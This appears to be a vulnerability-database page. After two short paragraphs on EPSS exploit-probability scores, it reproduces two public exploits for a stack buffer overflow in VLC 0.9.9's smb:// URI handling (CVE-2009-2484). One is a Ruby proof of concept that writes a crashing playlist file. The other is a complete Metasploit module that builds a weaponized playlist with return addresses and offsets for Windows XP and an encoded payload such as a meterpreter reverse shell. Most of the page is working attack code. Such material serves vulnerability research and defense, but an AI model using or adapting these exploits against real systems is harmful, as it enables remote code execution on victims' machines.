The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q| smb://foo.com@www.foo.com/foo/#{b00m} 0 | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close # milw0rm.com [2009-06-29]

## # $Id: vlc_smb_uri.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'BID', '35500' ], [ 'OSVDB', '55509' ], [ 'CVE', '2009-2484' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ], [ 'URL', 'http://milw0rm.com/exploits/9209' ], [ 'URL', 'http://www.exploit-db.com/exploits/9029' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'Platform' => 'win', 'Targets' => [ [ 'vlc 0.9.9 on Windows XP SP3', # shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec} { 'Readable' => 0x65414141, # points to nul bytes in libmod_plugin 'Offset' => 409, # libvout_directx_plugin.dll # add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret # esi is used as our buffer register, and also becomes eip # (there are two copies of the pointer on the stack) 'Ret' => 0x6b54543e, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 24 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']), ], self.class) end def exploit template = %Q| REPLACE_ME 0 | readable = [target['Readable']].pack('V') # we'll model the memory layout post-overflow.. #psz_remote = Rex::Text.pattern_create(2+260+1+260) psz_remote = rand_text_alphanumeric(target['Offset'] + 4) psz_remote[0,2] = "\\\\" psz_remote[2+260,1] = "\\" # some of this causes crashes in "WNetAddConnection2A" so we need to use # readable addresses... dodging the crashy derefs! # NOTE: some of these only occur in odd open scenarios (like drag/drop) psz_remote[263,4] = readable psz_remote[271,4] = readable psz_remote[325,4] = readable psz_remote[337,4] = readable # add the return addr in psz_remote[target['Offset'],4] = [target.ret].pack('V') # now we can split it and put it in the xml... host,share = psz_remote[2,psz_remote.length].split("\\") path = "smb://%s@%s/%s/" % [payload.encoded, host, share] sploit = template.gsub(/REPLACE_ME/, path) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end